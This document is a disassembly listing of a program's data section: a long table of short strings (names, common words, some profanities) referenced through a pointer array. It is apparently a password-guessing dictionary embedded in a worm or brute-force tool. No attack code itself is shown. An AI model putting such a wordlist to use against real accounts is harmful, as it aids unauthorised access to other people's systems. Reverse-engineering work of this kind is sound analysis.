aJune		db 'june',0             ; DATA XREF: ___:004304C8o
		align 4
aJuliet		db 'juliet',0           ; DATA XREF: ___:004304C4o
		align 4
aJulie		db 'julie',0            ; DATA XREF: ___:004304C0o
		align 4
aJulia		db 'julia',0            ; DATA XREF: ___:004304BCo
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: ___:004304B8o
		align 4
aJuggle		db 'juggle',0           ; DATA XREF: ___:004304B4o
		align 4
aJudy		db 'judy',0             ; DATA XREF: ___:004304B0o
		align 4
aJudith		db 'judith',0           ; DATA XREF: ___:004304ACo
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: ___:004304A8o
		align 4
aJournal	db 'journal',0          ; DATA XREF: ___:004304A4o
aJoshua		db 'joshua',0           ; DATA XREF: ___:004304A0o
		align 4
aJoseph		db 'joseph',0           ; DATA XREF: ___:0043049Co
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: ___:00430498o
		align 4
aJohndoe	db 'johndoe',0          ; DATA XREF: ___:00430494o
aJohn		db 'john',0             ; DATA XREF: ___:00430490o
		align 4
aJody		db 'jody',0             ; DATA XREF: ___:0043048Co
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: ___:00430488o
		align 4
aJixian		db 'jixian',0           ; DATA XREF: ___:00430484o
		align 4
aJill		db 'jill',0             ; DATA XREF: ___:00430480o
		align 4
aJewelry	db 'jewelry',0          ; DATA XREF: ___:0043047Co
aJester		db 'jester',0           ; DATA XREF: ___:00430478o
		align 4
aJessica	db 'jessica',0          ; DATA XREF: ___:00430474o
aJerusale	db 'jerusale',0         ; DATA XREF: ___:00430470o
		align 10h
aJerry		db 'jerry',0            ; DATA XREF: ___:0043046Co
		align 4
aJenny		db 'jenny',0            ; DATA XREF: ___:00430468o
		align 10h
aJennifer	db 'jennifer',0         ; DATA XREF: ___:00430464o
		align 4
aJenni		db 'jenni',0            ; DATA XREF: ___:00430460o
		align 4
aJeff		db 'jeff',0             ; DATA XREF: ___:0043045Co
		align 4
aJeanne		db 'jeanne',0           ; DATA XREF: ___:00430458o
		align 4
aJean		db 'jean',0             ; DATA XREF: ___:00430454o
		align 4
aJazz		db 'jazz',0             ; DATA XREF: ___:00430450o
		align 4
aJava		db 'java',0             ; DATA XREF: ___:0043044Co
		align 4
aJasmin		db 'jasmin',0           ; DATA XREF: ___:00430448o
		align 4
aJapan		db 'japan',0            ; DATA XREF: ___:00430444o
		align 4
aJanie		db 'janie',0            ; DATA XREF: ___:00430440o
		align 4
aJanice		db 'janice',0           ; DATA XREF: ___:0043043Co
		align 4
aJanet		db 'janet',0            ; DATA XREF: ___:00430438o
		align 4
aJane		db 'jane',0             ; DATA XREF: ___:00430434o
		align 4
aJail		db 'jail',0             ; DATA XREF: ___:00430430o
		align 4
aJackie		db 'jackie',0           ; DATA XREF: ___:0043042Co
		align 4
aIsis		db 'isis',0             ; DATA XREF: ___:00430428o
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: ___:00430424o
		align 10h
aIrene		db 'irene',0            ; DATA XREF: ___:00430420o
		align 4
aInvent		db 'invent',0           ; DATA XREF: ___:0043041Co
		align 10h
aInteger	db 'integer',0          ; DATA XREF: ___:00430418o
aInside		db 'inside',0           ; DATA XREF: ___:00430414o
		align 10h
aInput		db 'input',0            ; DATA XREF: ___:00430410o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: ___:0043040Co
		align 4
aInna		db 'inna',0             ; DATA XREF: ___:00430408o
		align 4
aIngrid		db 'ingrid',0           ; DATA XREF: ___:00430404o
		align 4
aIngress	db 'ingress',0          ; DATA XREF: ___:00430400o
aIngres		db 'ingres',0           ; DATA XREF: ___:004303FCo
		align 4
aIndians	db 'indians',0          ; DATA XREF: ___:004303F8o
aIndiana	db 'indiana',0          ; DATA XREF: ___:004303F4o
aIndian		db 'indian',0           ; DATA XREF: ___:004303F0o
		align 4
aIndia		db 'india',0            ; DATA XREF: ___:004303ECo
		align 4
aInclude	db 'include',0          ; DATA XREF: ___:004303E8o
aImperial	db 'imperial',0         ; DATA XREF: ___:004303E4o
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: ___:004303E0o
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: ___:004303DCo
		align 10h
aImage		db 'image',0            ; DATA XREF: ___:004303D8o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: ___:004303D4o
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: ___:004303D0o
		align 10h
aHypertxt	db 'hypertxt',0         ; DATA XREF: ___:004303CCo
		align 4
aHyper		db 'hyper',0            ; DATA XREF: ___:004303C8o
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: ___:004303C4o
		align 10h
aHutchins	db 'hutchins',0         ; DATA XREF: ___:004303C0o
		align 4
aHunter		db 'hunter',0           ; DATA XREF: ___:004303BCo
		align 4
aHunt		db 'hunt',0             ; DATA XREF: ___:004303B8o
		align 4
aHttp_0		db 'http',0             ; DATA XREF: ___:004303B4o
		align 4
aHotel		db 'hotel',0            ; DATA XREF: ___:004303B0o
		align 4
aHotdog		db 'hotdog',0           ; DATA XREF: ___:004303ACo
		align 4
aHost		db 'host',0             ; DATA XREF: ___:004303A8o
		align 4
aHorus		db 'horus',0            ; DATA XREF: ___:004303A4o
		align 4
aHorse		db 'horse',0            ; DATA XREF: ___:004303A0o
		align 4
aHorror		db 'horror',0           ; DATA XREF: ___:0043039Co
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: ___:00430398o
		align 10h
aHorny		db 'horny',0            ; DATA XREF: ___:00430394o
		align 4
aHooters	db 'hooters',0          ; DATA XREF: ___:00430390o
aHooker		db 'hooker',0           ; DATA XREF: ___:0043038Co
		align 4
aHoney		db 'honey',0            ; DATA XREF: ___:00430388o
		align 10h
aHomework	db 'homework',0         ; DATA XREF: ___:00430384o
		align 4
aHomer		db 'homer',0            ; DATA XREF: ___:00430380o
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: ___:0043037Co
		align 10h
aHollywoo	db 'hollywoo',0         ; DATA XREF: ___:00430378o
		align 4
aHolly		db 'holly',0            ; DATA XREF: ___:00430374o
		align 4
aHole		db 'hole',0             ; DATA XREF: ___:00430370o
		align 4
aHits		db 'hits',0             ; DATA XREF: ___:0043036Co
		align 4
aHitler		db 'hitler',0           ; DATA XREF: ___:00430368o
		align 4
aHighland	db 'highland',0         ; DATA XREF: ___:00430364o
		align 4
aHigh		db 'high',0             ; DATA XREF: ___:00430360o
		align 10h
aHidden		db 'hidden',0           ; DATA XREF: ___:0043035Co
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: ___:00430358o
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: ___:00430354o
		align 10h
aHexadeci	db 'hexadeci',0         ; DATA XREF: ___:00430350o
		align 4
aHewlett	db 'hewlett',0          ; DATA XREF: ___:0043034Co
aHeroin		db 'heroin',0           ; DATA XREF: ___:00430348o
		align 4
aHero		db 'hero',0             ; DATA XREF: ___:00430344o
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: ___:00430340o
aHerb		db 'herb',0             ; DATA XREF: ___:0043033Co
		align 4
aHelp		db 'help',0             ; DATA XREF: ___:00430338o
		align 4
aHello		db 'hello',0            ; DATA XREF: ___:00430334o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:00430330o
		align 4
aHeinlein	db 'heinlein',0         ; DATA XREF: ___:0043032Co
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: ___:00430328o
		align 10h
aHebrides	db 'hebrides',0         ; DATA XREF: ___:00430324o
		align 4
aHeather	db 'heather',0          ; DATA XREF: ___:00430320o
aHeathen	db 'heathen',0          ; DATA XREF: ___:0043031Co
aHeat		db 'heat',0             ; DATA XREF: ___:00430318o
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: ___:00430314o
		align 10h
aHead		db 'head',0             ; DATA XREF: ___:00430310o
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: ___:0043030Co
		align 10h
aHaven		db 'haven',0            ; DATA XREF: ___:00430308o
		align 4
aHate		db 'hate',0             ; DATA XREF: ___:00430304o
		align 10h
aHarvey		db 'harvey',0           ; DATA XREF: ___:00430300o
		align 4
aHarold		db 'harold',0           ; DATA XREF: ___:004302FCo
		align 10h
aHarmony	db 'harmony',0          ; DATA XREF: ___:004302F8o
aHarddriv	db 'harddriv',0         ; DATA XREF: ___:004302F4o
		align 4
aHardcore	db 'hardcore',0         ; DATA XREF: ___:004302F0o
		align 10h
aHard		db 'hard',0             ; DATA XREF: ___:004302ECo
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: ___:004302E8o
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: ___:004302E4o
aHandily	db 'handily',0          ; DATA XREF: ___:004302E0o
aHandel		db 'handel',0           ; DATA XREF: ___:004302DCo
		align 4
aHamster	db 'hamster',0          ; DATA XREF: ___:004302D8o
aHamlet		db 'hamlet',0           ; DATA XREF: ___:004302D4o
		align 4
aHallowee	db 'hallowee',0         ; DATA XREF: ___:004302D0o
		align 4
aHair		db 'hair',0             ; DATA XREF: ___:004302CCo
		align 10h
aHagar		db 'hagar',0            ; DATA XREF: ___:004302C8o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: ___:004302C4o
		align 10h
aHack		db 'hack',0             ; DATA XREF: ___:004302C0o
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: ___:004302BCo
		align 10h
aGumption	db 'gumption',0         ; DATA XREF: ___:004302B8o
		align 4
aGuitar		db 'guitar',0           ; DATA XREF: ___:004302B4o
		align 4
aGuess		db 'guess',0            ; DATA XREF: ___:004302B0o
		align 4
aGucci		db 'gucci',0            ; DATA XREF: ___:004302ACo
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: ___:004302A8o
		align 10h
aGryphon	db 'gryphon',0          ; DATA XREF: ___:004302A4o
aGroup		db 'group',0            ; DATA XREF: ___:004302A0o
		align 10h
aGreen		db 'green',0            ; DATA XREF: ___:0043029Co
		align 4
aGreat		db 'great',0            ; DATA XREF: ___:00430298o
		align 10h
aGrant		db 'grant',0            ; DATA XREF: ___:00430294o
		align 4
aGrand		db 'grand',0            ; DATA XREF: ___:00430290o
		align 10h
aGrahm		db 'grahm',0            ; DATA XREF: ___:0043028Co
		align 4
aGraham		db 'graham',0           ; DATA XREF: ___:00430288o
		align 10h
aGrades		db 'grades',0           ; DATA XREF: ___:00430284o
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: ___:00430280o
		align 4
aGouge		db 'gouge',0            ; DATA XREF: ___:0043027Co
		align 4
aGosling	db 'gosling',0          ; DATA XREF: ___:00430278o
aGorges		db 'gorges',0           ; DATA XREF: ___:00430274o
		align 4
aGorgeous	db 'gorgeous',0         ; DATA XREF: ___:00430270o
		align 4
aGood		db 'good',0             ; DATA XREF: ___:0043026Co
		align 10h
aGolfer		db 'golfer',0           ; DATA XREF: ___:00430268o
		align 4
aGolf		db 'golf',0             ; DATA XREF: ___:00430264o
		align 10h
aGolden		db 'golden',0           ; DATA XREF: ___:00430260o
		align 4
aGold		db 'gold',0             ; DATA XREF: ___:0043025Co
		align 10h
aGlacier	db 'glacier',0          ; DATA XREF: ___:00430258o
aGirl		db 'girl',0             ; DATA XREF: ___:00430254o
		align 10h
aGinger		db 'ginger',0           ; DATA XREF: ___:00430250o
		align 4
aGina		db 'gina',0             ; DATA XREF: ___:0043024Co
		align 10h
aGigabyte	db 'gigabyte',0         ; DATA XREF: ___:00430248o
		align 4
aGibson		db 'gibson',0           ; DATA XREF: ___:00430244o
		align 4
aGhost		db 'ghost',0            ; DATA XREF: ___:00430240o
		align 4
aGertrude	db 'gertrude',0         ; DATA XREF: ___:0043023Co
		align 4
aGerm		db 'germ',0             ; DATA XREF: ___:00430238o
		align 10h
aGeorge		db 'george',0           ; DATA XREF: ___:00430234o
		align 4
aGauss		db 'gauss',0            ; DATA XREF: ___:00430230o
		align 10h
aGatt		db 'gatt',0             ; DATA XREF: ___:0043022Co
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: ___:00430228o
		align 4
aGateway	db 'gateway',0          ; DATA XREF: ___:00430224o
aGarfield	db 'garfield',0         ; DATA XREF: ___:00430220o
		align 4
aGardner	db 'gardner',0          ; DATA XREF: ___:0043021Co
aGames		db 'games',0            ; DATA XREF: ___:00430218o
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: ___:00430214o
aFungible	db 'fungible',0         ; DATA XREF: ___:00430210o
		align 4
aFunction	db 'function',0         ; DATA XREF: ___:0043020Co
		align 4
aFudge		db 'fudge',0            ; DATA XREF: ___:00430208o
		align 10h
aFuckyou	db 'fuckyou',0          ; DATA XREF: ___:00430204o
aFuckme		db 'fuckme',0           ; DATA XREF: ___:00430200o
		align 10h
aFucking	db 'fucking',0          ; DATA XREF: ___:004301FCo
aFucker		db 'fucker',0           ; DATA XREF: ___:004301F8o
		align 10h
aFuck		db 'fuck',0             ; DATA XREF: ___:004301F4o
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: ___:004301F0o
		align 10h
aFrog		db 'frog',0             ; DATA XREF: ___:004301ECo
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: ___:004301E8o
		align 4
aFriends	db 'friends',0          ; DATA XREF: ___:004301E4o
aFriend		db 'friend',0           ; DATA XREF: ___:004301E0o
		align 4
aFriday		db 'friday',0           ; DATA XREF: ___:004301DCo
		align 4
aFrench		db 'french',0           ; DATA XREF: ___:004301D8o
		align 4
aFreedom	db 'freedom',0          ; DATA XREF: ___:004301D4o
aFree		db 'free',0             ; DATA XREF: ___:004301D0o
		align 4
aFred		db 'fred',0             ; DATA XREF: ___:004301CCo
		align 4
aFreak		db 'freak',0            ; DATA XREF: ___:004301C8o
		align 4
aFrank		db 'frank',0            ; DATA XREF: ___:004301C4o
		align 4
aFrance		db 'france',0           ; DATA XREF: ___:004301C0o
		align 4
aFoxtrot	db 'foxtrot',0          ; DATA XREF: ___:004301BCo
aFourier	db 'fourier',0          ; DATA XREF: ___:004301B8o
aForsythe	db 'forsythe',0         ; DATA XREF: ___:004301B4o
		align 10h
aFornicat	db 'fornicat',0         ; DATA XREF: ___:004301B0o
		align 4
aFormat		db 'format',0           ; DATA XREF: ___:004301ACo
		align 4
aForm		db 'form',0             ; DATA XREF: ___:004301A8o
		align 4
aForever	db 'forever',0          ; DATA XREF: ___:004301A4o
aForesigh	db 'foresigh',0         ; DATA XREF: ___:004301A0o
		align 10h
aFord		db 'ford',0             ; DATA XREF: ___:0043019Co
		align 4
aForce		db 'force',0            ; DATA XREF: ___:00430198o
		align 10h
aFootball	db 'football',0         ; DATA XREF: ___:00430194o
		align 4
aFoolproo	db 'foolproo',0         ; DATA XREF: ___:00430190o
		align 4
aFool		db 'fool',0             ; DATA XREF: ___:0043018Co
		align 10h
aFood		db 'food',0             ; DATA XREF: ___:00430188o
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: ___:00430184o
aFlower		db 'flower',0           ; DATA XREF: ___:00430180o
		align 4
aFlorida	db 'florida',0          ; DATA XREF: ___:0043017Co
aFloat		db 'float',0            ; DATA XREF: ___:00430178o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: ___:00430174o
		align 10h
aFishers	db 'fishers',0          ; DATA XREF: ___:00430170o
aFirewall	db 'firewall',0         ; DATA XREF: ___:0043016Co
		align 4
aFire		db 'fire',0             ; DATA XREF: ___:00430168o
		align 4
aFinite		db 'finite',0           ; DATA XREF: ___:00430164o
		align 4
aFile		db 'file',0             ; DATA XREF: sub_40EE72+1E83o
					; sub_40EE72+1EF9o ...
		align 4
aFight		db 'fight',0            ; DATA XREF: ___:0043015Co
		align 4
aField		db 'field',0            ; DATA XREF: ___:00430158o
		align 4
aFidelity	db 'fidelity',0         ; DATA XREF: ___:00430154o
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: ___:00430150o
aFermat		db 'fermat',0           ; DATA XREF: ___:0043014Co
		align 4
aFender		db 'fender',0           ; DATA XREF: ___:00430148o
		align 10h
aFelicia	db 'felicia',0          ; DATA XREF: ___:00430144o
aFeds		db 'feds',0             ; DATA XREF: ___:00430140o
		align 10h
aFear		db 'fear',0             ; DATA XREF: ___:0043013Co
		align 4
aFast		db 'fast',0             ; DATA XREF: ___:00430138o
		align 10h
aFart		db 'fart',0             ; DATA XREF: ___:00430134o
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: ___:00430130o
aFarad		db 'farad',0            ; DATA XREF: ___:0043012Co
		align 4
aFamily		db 'family',0           ; DATA XREF: ___:00430128o
		align 10h
aFalse		db 'false',0            ; DATA XREF: ___:00430124o
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: ___:00430120o
		align 10h
aFaith		db 'faith',0            ; DATA XREF: ___:0043011Co
		align 4
aFairway	db 'fairway',0          ; DATA XREF: ___:00430118o
aExtensio	db 'extensio',0         ; DATA XREF: ___:00430114o
		align 4
aExplosiv	db 'explosiv',0         ; DATA XREF: ___:00430110o
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: ___:0043010Co
		align 4
aExplore	db 'explore',0          ; DATA XREF: ___:00430108o
aExplode	db 'explode',0          ; DATA XREF: ___:00430104o
aExpert		db 'expert',0           ; DATA XREF: ___:00430100o
		align 4
aEvelyn		db 'evelyn',0           ; DATA XREF: ___:004300FCo
		align 4
aEuclid		db 'euclid',0           ; DATA XREF: ___:004300F8o
		align 4
aEternity	db 'eternity',0         ; DATA XREF: ___:004300F4o
		align 4
aEstate		db 'estate',0           ; DATA XREF: ___:004300F0o
		align 10h
aEstablis	db 'establis',0         ; DATA XREF: ___:004300ECo
		align 4
aErsatz		db 'ersatz',0           ; DATA XREF: ___:004300E8o
		align 4
aErotic		db 'erotic',0           ; DATA XREF: ___:004300E4o
		align 4
aErin		db 'erin',0             ; DATA XREF: ___:004300E0o
		align 4
aErika		db 'erika',0            ; DATA XREF: ___:004300DCo
		align 4
aErica		db 'erica',0            ; DATA XREF: ___:004300D8o
		align 4
aEric		db 'eric',0             ; DATA XREF: ___:004300D4o
		align 4
aErenity	db 'erenity',0          ; DATA XREF: ___:004300D0o
aEnzyme		db 'enzyme',0           ; DATA XREF: ___:004300CCo
		align 4
aEnterpri	db 'enterpri',0         ; DATA XREF: ___:004300C8o
		align 4
aEnter		db 'enter',0            ; DATA XREF: ___:004300C4o
		align 10h
aEnglish	db 'english',0          ; DATA XREF: ___:004300C0o
aEngland	db 'england',0          ; DATA XREF: ___:004300BCo
aEngineer	db 'engineer',0         ; DATA XREF: ___:004300B8o
		align 4
aEngine		db 'engine',0           ; DATA XREF: ___:004300B4o
		align 4
aEnemy		db 'enemy',0            ; DATA XREF: ___:004300B0o
		align 4
aEmmanuel	db 'emmanuel',0         ; DATA XREF: ___:004300ACo
		align 4
aEmily		db 'emily',0            ; DATA XREF: ___:004300A8o
		align 10h
aEmerald	db 'emerald',0          ; DATA XREF: ___:004300A4o
aEmail		db 'email',0            ; DATA XREF: ___:004300A0o
		align 10h
aEllen		db 'ellen',0            ; DATA XREF: ___:0043009Co
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: ___:00430098o
		align 4
aElephant	db 'elephant',0         ; DATA XREF: ___:00430094o
		align 10h
aElectron	db 'electron',0         ; DATA XREF: ___:00430090o
		align 4
aElanor		db 'elanor',0           ; DATA XREF: ___:0043008Co
		align 4
aElaine		db 'elaine',0           ; DATA XREF: ___:00430088o
		align 4
aEinstein	db 'einstein',0         ; DATA XREF: ___:00430084o
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: ___:00430080o
		align 4
aEileen		db 'eileen',0           ; DATA XREF: ___:0043007Co
		align 4
aEiderdow	db 'eiderdow',0         ; DATA XREF: ___:00430078o
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: ___:00430074o
aEdwina		db 'edwina',0           ; DATA XREF: ___:00430070o
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: ___:0043006Co
		align 10h
aEducatio	db 'educatio',0         ; DATA XREF: ___:00430068o
		align 4
aEducation	db 'education',0        ; DATA XREF: ___:00430064o
		align 4
aEdition	db 'edition',0          ; DATA XREF: ___:00430060o
aEdit		db 'edit',0             ; DATA XREF: ___:off_43005Co
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: ___:00430058o
		align 4
aEdges		db 'edges',0            ; DATA XREF: ___:00430054o
		align 4
aEddie		db 'eddie',0            ; DATA XREF: ___:off_430050o
		align 4
aEcho		db 'echo',0             ; DATA XREF: ___:0043004Co
		align 4
aEatme		db 'eatme',0            ; DATA XREF: ___:00430048o
		align 4
aEasy		db 'easy',0             ; DATA XREF: ___:00430044o
		align 4
aEasier		db 'easier',0           ; DATA XREF: ___:00430040o
		align 4
aEarth		db 'earth',0            ; DATA XREF: ___:0043003Co
		align 4
aEagle		db 'eagle',0            ; DATA XREF: ___:00430038o
		align 4
aEager		db 'eager',0            ; DATA XREF: ___:00430034o
		align 4
aDyke		db 'dyke',0             ; DATA XREF: ___:00430030o
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: ___:0043002Co
aDuncan		db 'duncan',0           ; DATA XREF: ___:00430028o
		align 4
aDulce		db 'dulce',0            ; DATA XREF: ___:00430024o
		align 4
aDuke		db 'duke',0             ; DATA XREF: ___:00430020o
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: ___:0043001Co
aDude		db 'dude',0             ; DATA XREF: ___:00430018o
		align 4
aDuck		db 'duck',0             ; DATA XREF: ___:00430014o
		align 4
aDrought	db 'drought',0          ; DATA XREF: ___:00430010o
aDrive		db 'drive',0            ; DATA XREF: ___:0043000Co
		align 4
aDrdoom		db 'drdoom',0           ; DATA XREF: ___:00430008o
		align 4
aDragon		db 'dragon',0           ; DATA XREF: ___:00430004o
		align 4
aDownload	db 'download',0         ; DATA XREF: ___:00430000o
		align 4
aDope		db 'dope',0             ; DATA XREF: ___:0042FFFCo
		align 10h
aDoors		db 'doors',0            ; DATA XREF: ___:0042FFF8o
		align 4
aDoor		db 'door',0             ; DATA XREF: ___:0042FFF4o
		align 10h
aDoonesbu	db 'doonesbu',0         ; DATA XREF: ___:0042FFF0o
		align 4
aDoomsday	db 'doomsday',0         ; DATA XREF: ___:0042FFECo
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: ___:0042FFE8o
		align 10h
aDoom2		db 'doom2',0            ; DATA XREF: ___:0042FFE4o
		align 4
aDoom		db 'doom',0             ; DATA XREF: ___:0042FFE0o
		align 10h
aDong		db 'dong',0             ; DATA XREF: ___:0042FFDCo
		align 4
aDollar		db 'dollar',0           ; DATA XREF: ___:0042FFD8o
		align 10h
aDoctor		db 'doctor',0           ; DATA XREF: ___:0042FFD4o
		align 4
aDisplay_0	db 'display',0          ; DATA XREF: ___:0042FFD0o
aDisney		db 'disney',0           ; DATA XREF: ___:0042FFCCo
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: ___:0042FFC8o
		align 4
aDisk_0		db 'disk',0             ; DATA XREF: ___:0042FFC4o
		align 4
aDiscover	db 'discover',0         ; DATA XREF: ___:0042FFC0o
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: ___:0042FFBCo
		align 4
aDiscipli	db 'discipli',0         ; DATA XREF: ___:0042FFB8o
		align 10h
aDisc		db 'disc',0             ; DATA XREF: ___:0042FFB4o
		align 4
aDirty		db 'dirty',0            ; DATA XREF: ___:0042FFB0o
		align 10h
aDirector	db 'director',0         ; DATA XREF: ___:0042FFACo
		align 4
aDirect		db 'direct',0           ; DATA XREF: ___:0042FFA8o
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: ___:0042FFA4o
aDinosaur	db 'dinosaur',0         ; DATA XREF: ___:0042FFA0o
		align 4
aDigital	db 'digital',0          ; DATA XREF: ___:0042FF9Co
aDieter		db 'dieter',0           ; DATA XREF: ___:0042FF98o
		align 4
aDiet		db 'diet',0             ; DATA XREF: ___:0042FF94o
		align 10h
aDiehard	db 'diehard',0          ; DATA XREF: ___:0042FF90o
aDick		db 'dick',0             ; DATA XREF: ___:0042FF8Co
		align 10h
aDice		db 'dice',0             ; DATA XREF: ___:0042FF88o
		align 4
aDiane		db 'diane',0            ; DATA XREF: ___:0042FF84o
		align 10h
aDiana		db 'diana',0            ; DATA XREF: ___:0042FF80o
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: ___:0042FF7Co
aDial		db 'dial',0             ; DATA XREF: ___:0042FF78o
		align 4
aDevice		db 'device',0           ; DATA XREF: ___:0042FF74o
		align 10h
aDevelop	db 'develop',0          ; DATA XREF: ___:0042FF70o
aDesperat	db 'desperat',0         ; DATA XREF: ___:0042FF6Co
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: ___:0042FF68o
aDesk		db 'desk',0             ; DATA XREF: ___:0042FF64o
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: ___:0042FF60o
aDennis		db 'dennis',0           ; DATA XREF: ___:0042FF5Co
		align 4
aDenise		db 'denise',0           ; DATA XREF: ___:0042FF58o
		align 4
aDemocrat	db 'democrat',0         ; DATA XREF: ___:0042FF54o
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: ___:0042FF50o
		align 10h
aDelta		db 'delta',0            ; DATA XREF: ___:0042FF4Co
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: ___:0042FF48o
		align 10h
aDefault_0	db 'DEFAULT',0          ; DATA XREF: ___:0042FF44o
aDeck		db 'deck',0             ; DATA XREF: ___:0042FF3Co
		align 10h
aDecember	db 'december',0         ; DATA XREF: ___:0042FF38o
		align 4
aDebug		db 'debug',0            ; DATA XREF: ___:0042FF34o
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: ___:0042FF30o
aDebbie		db 'debbie',0           ; DATA XREF: ___:0042FF2Co
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: ___:0042FF28o
		align 10h
aDead		db 'dead',0             ; DATA XREF: ___:0042FF24o
		align 4
aDawn		db 'dawn',0             ; DATA XREF: ___:0042FF20o
		align 10h
aDave		db 'dave',0             ; DATA XREF: ___:0042FF1Co
		align 4
aData		db 'data',0             ; DATA XREF: ___:0042FF18o
		align 10h
aDarkaven	db 'darkaven',0         ; DATA XREF: ___:0042FF14o
		align 4
aDark		db 'dark',0             ; DATA XREF: ___:0042FF10o
		align 4
aDapper		db 'dapper',0           ; DATA XREF: ___:0042FF0Co
		align 4
aDanny		db 'danny',0            ; DATA XREF: ___:0042FF08o
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: ___:0042FF04o
		align 10h
aDaniel		db 'daniel',0           ; DATA XREF: ___:0042FF00o
		align 4
aDancer		db 'dancer',0           ; DATA XREF: ___:0042FEFCo
		align 10h
aDana		db 'dana',0             ; DATA XREF: ___:0042FEF8o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: ___:0042FEF4o
		align 10h
aDaemon		db 'daemon',0           ; DATA XREF: ___:0042FEF0o
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: ___:0042FEECo
aCyberspa	db 'cyberspa',0         ; DATA XREF: ___:0042FEE8o
		align 4
aCyberpun	db 'cyberpun',0         ; DATA XREF: ___:0042FEE4o
		align 4
aCyber		db 'cyber',0            ; DATA XREF: ___:0042FEE0o
		align 10h
aCustomer	db 'customer',0         ; DATA XREF: ___:0042FEDCo
		align 4
aCunt		db 'cunt',0             ; DATA XREF: ___:0042FED8o
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: ___:0042FED4o
		align 4
aCrystal	db 'crystal',0          ; DATA XREF: ___:0042FED0o
aCristina	db 'cristina',0         ; DATA XREF: ___:0042FECCo
		align 10h
aCriminal	db 'criminal',0         ; DATA XREF: ___:0042FEC8o
		align 4
aCrime		db 'crime',0            ; DATA XREF: ___:0042FEC4o
		align 4
aCretin		db 'cretin',0           ; DATA XREF: ___:0042FEC0o
		align 4
aCreosote	db 'creosote',0         ; DATA XREF: ___:0042FEBCo
		align 4
aCredit		db 'credit',0           ; DATA XREF: ___:0042FEB8o
		align 10h
aCreature	db 'creature',0         ; DATA XREF: ___:0042FEB4o
		align 4
aCreation	db 'creation',0         ; DATA XREF: ___:0042FEB0o
		align 4
aCreate		db 'create',0           ; DATA XREF: ___:0042FEACo
		align 10h
aCream		db 'cream',0            ; DATA XREF: ___:0042FEA8o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: ___:0042FEA4o
		align 4
aCrack		db 'crack',0            ; DATA XREF: ___:0042FEA0o
		align 4
aCowboy		db 'cowboy',0           ; DATA XREF: ___:0042FE9Co
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: ___:0042FE98o
		align 10h
aCountry	db 'country',0          ; DATA XREF: ___:0042FE94o
aCounters	db 'counters',0         ; DATA XREF: ___:0042FE90o
		align 4
aCorrect	db 'correct',0          ; DATA XREF: ___:0042FE8Co
aCorneliu	db 'corneliu',0         ; DATA XREF: ___:0042FE88o
		align 4
aCopy		db 'copy',0             ; DATA XREF: ___:0042FE84o
		align 10h
aCops		db 'cops',0             ; DATA XREF: ___:0042FE80o
		align 4
aCopper		db 'copper',0           ; DATA XREF: ___:0042FE7Co
		align 10h
aCooper		db 'cooper',0           ; DATA XREF: ___:0042FE78o
		align 4
aCool_1		db 'cool',0             ; DATA XREF: ___:0042FE74o
		align 10h
aCookie		db 'cookie',0           ; DATA XREF: ___:0042FE70o
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: ___:0042FE6Co
		align 4
aCook		db 'cook',0             ; DATA XREF: ___:0042FE68o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_40EE72+20E5o
					; ___:0042FE64o
		align 4
aConsole	db 'console',0          ; DATA XREF: ___:0042FE60o
aConserva	db 'conserva',0         ; DATA XREF: ___:0042FE5Co
		align 4
